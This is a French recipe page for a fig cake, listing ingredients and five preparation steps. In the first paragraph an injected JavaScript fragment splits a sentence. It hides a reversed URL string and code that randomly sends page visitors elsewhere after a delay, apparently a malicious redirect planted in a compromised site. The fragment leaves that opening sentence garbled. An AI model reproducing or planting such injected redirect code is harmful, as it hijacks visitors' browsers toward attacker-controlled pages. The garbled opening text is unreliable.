Cake aux figues

2017-02-23

Essuyez les figues avec un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon humidifié (Ne pas les rincer). Coupez les figues en lamelles. Dans une casserole avec le beurre et 1 cuillère à soupe d’huile de colza, faites revenir les lamelles de figues.

 

Ingrédients

  • Pour 4 personnes
  • 300 g de figues fraîches
  • 110 g de farine
  • 1 sachet de levure chimique
  • 1 pincée de sel fin
  • 110 g de beurre ramolli
  • 110 g de sucre en poudre
  • 2 œufs

Préparation de la recette

Etape 1

Essuyez les figues avec un torchon humidifié (Ne pas les rincer)

Etape 2

Coupez les figues en lamelles. Dans une casserole avec le beurre et 1 cuillère à soupe d'huile de colza, faites revenir les lamelles de figues. Dans un saladier mélangez la farine, la levure, le sel.

Etape 3

Formez un puits incorporez les œufs, le sucre en poudre et le beurre. Incorporez les figues. Mélangez-les bien.

Etape 4

Versez la pâte dans un moule à cake beurré. Préchauffez le four à 180°C thermostat 6. Enfournez et faites cuire pendant 30 minutes.

Etape 5

Vérifiez la cuisson en piquant le cake avec la pointe d'un couteau qui doit ressortir sèche. Démoulez le cake. Laissez refroidir et dégustez.

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